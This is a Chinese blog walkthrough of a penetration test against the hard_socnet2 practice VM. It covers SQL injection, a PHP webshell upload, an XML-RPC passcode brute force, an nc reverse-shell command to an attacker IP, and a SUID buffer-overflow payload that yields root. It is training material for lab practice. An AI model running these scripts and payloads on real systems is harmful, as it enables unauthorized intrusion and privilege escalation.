hard_socnet2靶场渗透测试

TYR2

已于 2023-11-07 18:13:48 修改

阅读量150

点赞数

文章标签：网络安全 web安全 linux 系统安全汇编 c语言

于 2023-11-07 17:40:58 首次发布

本文链接：https://blog.csdn.net/qq_41567985/article/details/134272397

版权

本篇文章在堆栈溢出提权部分借鉴了作者：爱婷如命一生一世的文章：hard-socnet2高难度 - 墨天轮多向大佬学习！

项目概述

渗透测试目的

拿到系统权限-root

渗透测试范围

本次渗透测试范围为本地，具体如下：

表1-1：渗透测试对象

序号	系统名称	网站地址	内外网
1	hard_socnet2	http://192.168.22.137	内网

渗透测试时间

2023年11月6日下午16:00--2023年11月7日下午13:00

渗透测试环境

在本地开展内网的vmware虚拟机中渗透测试。

渗透测试人员

TYR2

渗透测试方法

渗透测试流程

渗透测试方法与内容

信息收集
主机存活扫描和端口扫描

nmap -A 192.168.22.137

开启22端口和80端口、8000端口

/data 目录是保存图片的-我们上传的图片也在里面-可以使用图片上传绕过上传php文件

/index.php/login.php是另一个登录界面

/images中存放了一个photo图片

/resources中存放css文件和js文件

/database中有两个sql脚本文件-可能存在管理员账号密码

漏洞验证与利用
Xss存储型漏洞验证
创建个账号进入到其中

一个留言板-具有xss存储型漏洞

Sql注入漏洞验证与利用
发现搜索页面具有sql注入
使用sqlmap验证一下

跑出了admin的账号密码

登录看看

发现没啥可利用的点-和普通用户一样

amdin说他有一个脚本拿来监视服务器

文件上传漏洞验证与利用
发现可以上传图片--没有安全过滤，直接可以上传php文件

然后我们去上面扫出来的目录/data中去找到我们的php文件

使用哥斯拉连接

连接成功-并且是www-data用户

发现/etc/passwd可读，只能root权限可写

并且发现一个普通用户socnet

使用kali生成elf木马并开启临时服务器，进入到靶机tmp目录，使用wget下载elf木马并使用chmod 777 .elf给予可执行权限，执行elf文件-kali机同时开启监听，反弹shell成功

通过反弹的shell查看当前内核版本

通过searchsploit 查不到相关提权脚本

网上查了一下Ubuntu 18.04.1发现有提权脚本-cve-2021-3493

下载poc到kali

kali开启临时服务器

进入到tmp目录下载脚本

给予执行权限-然后编译执行

运行之后用户还是www-data

到这很较劲脑汁，但是好像socnet用户下有几个python文件可以利用

add_record具有suid权限

monitor.py在之前admin账户在留言板说的，他们在使用。

查了一下

py客户端代码编写

①先进行简单测试：通过脚本请求了服务端的cpu信息，服务端接受到cpu请求后，通过其API接口执行了客户端的请求，查询到了目标服务器CPU的信息

# cat a.py import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy:

print(str(proxy.cpu()))

# python3 a.py

②修改客户端代码，通过暴力破解的方式，把服务器端的random随机生成的数字passcode破解出来

# cat b.py

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy:

for p in range(1000,10000):

r = str(proxy.secure_cmd('whoami',p))

if not "Wrong" in r:

print(p)

print(r)

break

# python3 b.py

③编写客户端代码，通过上一步暴力破解出的passcode值，使服务器执行自定义系统命令（此处为反弹shell命令）

编写客户端代码

# cat a.py

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy:

cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.22.129 4444 >/tmp/f"

r = str(proxy.secure_cmd(cmd,4902))

print(r)

先运行b.py获取固定的数字

然后把数字写入到c.py并运行—kali同时开启监听

好不容易拿到这个shell后门，需要将它升级的更为友好！

socnet@socnet2:~$ python -c "import pty;pty.spawn('/bin/bash')"

在cocnet这个家目录下的add_recprd这个文件，需要看一看

通过file文件查看add这个文件格式，得到的结果是ELF 32位的

通过对add这个文件格式查看，得到在运行时是通过运行suid，并且在文件权限中也是有这样的权限位

可以明白靶机的作者的意图，在于通过这个文件的SUID权限位来进行提权（因为这个文件的属主账号是root ）

为了更详细了解add这个文件的关系，我先观察peda文件--动态调试

想到动态调试，势必会有内存溢出的漏洞，堆溢出漏洞。

利用GDB调试这个文件来跟踪其运行情况。

了解完漏洞挖掘的基本流程，就需要知道知道靶机中add_record有哪些数据注入点？

尝试运行add_record文件；

知道是输入员工的数据

按照他的要求输入--没什么问题

并且在当前目录生成了一个employee_records.txt的文件，里面记录了输入的员工信息

总结的来说，姓名，薪资，年限，工作中的是否有问题，问题描述都是数据入口点。

接下来针对这些数据入口点，来侦测是否存在内存溢出的漏洞！

用gdb （动态调试程序的一个工具）以安静的模式调试add_record这个程序，进行详细跟踪了解具体的哪个数据提交过程能造成溢出等漏洞！

输入r （run运行的意思）才能被真正运行（程序按照指定的逻辑运行），不输入只是调用的意思。

测试数据是否有堆栈溢出，

顺序是：分别输入大量数据，如果直接弹出，则当前输入点没有堆栈溢出，否则有

在测到输入员工名的时候，发现出现异常，溢出数据到寄存器中了

在此次发现的缓冲区溢出漏洞，请初学者（我就是）尤为注意EIP寄存器（保存了CPU运行下一条指定放置的内存编号）。

那么问题来了，这4个A是500个A中的第几个A呢？因为这个答案影响着溢出的临界点，就能精准的判断是多少个数值覆盖到其他寄存器中。

为了搞清楚这个问题，这4个A的位置采用加载payload的内存地址，这样一来EIP寄存器就会存入我们写的地址，CPU在运行时，就会调用EIP的信息里的地址，从而反弹shell，获得目标系统的管理权限

可以使用二分法进行判断具体的位置，或者输入凌乱的数据，可以去更好的判断

利用pattern search，能看到EIP的偏移量是62，说明从第六十三个字符中进入到EIP寄存器中。

EIP+0 found at offset: 62

来证实2324这4个字符是否会在EIP寄存器中

在等到描述中输入，结果EIP缓存器中写入了2324

EIP: 0x34323332 ('2324')------->这里面的内容决定了是否关键提权。

这就可以在EIP寄存器中写入我们想要的数据了。

首先查看这个程序中所用程序入口发向ＣＰＵ的汇编代码情况。

gdb-peda$ disas main　这个命令的意思就是将这个add的主程序加载。

关于汇编代码简单的说，一个程序在执行中，ＣＰＵ会给其分配很多内存地址，内存地址中携带了很多指令，程序的处理等，最后再将运算结果输出。

从这个add程序的运行来看也不列外，当我在运行这条程序时，首先弹出了欢迎页面，然后在弹出了一些指定的提示。

这里需要打断点，慢慢去了解程序是如何执行的了

break *+地址 -->这样就是一个打断点的方式

＠plt是ｃ语言的的内建函数。

fopen@plt（被调用的一个系统函数）是猜测是打开文本文件的意思

下面是几个系统的函数

接下来往下看，又调用了一个call的功能函数

而这个函数则调用了put,其作用是输出，配合Printf内建函数进行打印输出。

之后便是打断点了

为了了解函数的作用，我们可以在函数前一个地址打上断点

比如这里想了解printf函数的作用，就要去打断点

输入：break *0x0804874f 打上一个断点

图中显示我是第四个断点，不过不影响，因为我之前打过三个断点了，再打新断点的时候把旧的断点删了就可以了

删除断点：del number

然后输入r运行

就出现了这样的界面

可以看到运行点停在了我们刚打的断点那里，可以输入s执行下一步

可以看到此时程序就停留在了提示信息那里(输入员工名)

可以输入c把程序运行内容呈现出来，验证一下

验证确实是来到了printf这里

后面的一些函数也可以这样打断点去测试

出来printf函数外还有一个非系统自建函数vuln

如图：disas main 查看主程序

为了确认这个vuln不是系统自建函数，接下来看看这个程序中到底有哪些函数

输入：info func --->查看所有使用的函数

可以看到很敏感的函数名：backdoor（后门）、vuln（脆弱的）

应该是作者留给我们解题的关键信息了

并且还看到了setuid函数，说明有些程序是调用了suid这个函数的，system函数是用来调用操作系统指令。

分析到这里说明这个add_record程序是存在调用操作系统指令的功能！

我们可以使用disas + 函数名查看函数具体

disas vuln

那就把注意力放在了strcpy这个函数上来了！

再次查看backdoor的汇编情况，也是利用call调用了setuid的内建函数，请求完之后又调用了system内建函数（尝试执行系统的操作指令）。

查看backdoor里的调用内容的内存地址。0x08048676

在目标靶机中先退出gdb调试器，并输入之前的这个命令，生成一个payload文件

python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload

接下来，将这个payload文件一次性的输入给add_record这个程序。

再次运行gdb调试工具

可以看到payload已经保存在本地了

可以看看其中的内容

启动gdb调试工具

输入：gdb -q ./add_record

r < payload

可以看到新增了几个进程，调用了/bin/bash

此为止，就可以明白这个漏洞产生的原因，在目标靶机中主程序add_record中有一个vuln函数（存在漏洞scrpty）

就要利用payload这个漏洞代码来触发这个程序，返回root权限！

这里获得了欢迎页面和黑屏的提示

输入： cat payload - | ./add_record

直接输入id就能发现我们进入了一个交互式的shell，并且我们的id是0，root权限，到此就成功提权了

渗透测试结果汇总

怎么说呢，这个靶场对我来说还是难度太大了。其中也去搜索了很多方法去利用。在其中也学习到了许多方法，感觉在打完这个靶场后，自己的思路变得很清晰了一些，也学会了很多方法。

TYR2

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
hard_socnet2靶场渗透测试

①先进行简单测试：通过脚本请求了服务端的cpu信息，服务端接受到cpu请求后，通过其API接口执行了客户端的请求，查询到了目标服务器CPU的信息。关于汇编代码简单的说，一个程序在执行中，ＣＰＵ会给其分配很多内存地址，内存地址中携带了很多指令，程序的处理等，最后再将运算结果输出。直接输入id就能发现我们进入了一个交互式的shell，并且我们的id是0，root权限，到此就成功提权了。从这个add程序的运行来看也不列外，当我在运行这条程序时，首先弹出了欢迎页面，然后在弹出了一些指定的提示。
复制链接

扫一扫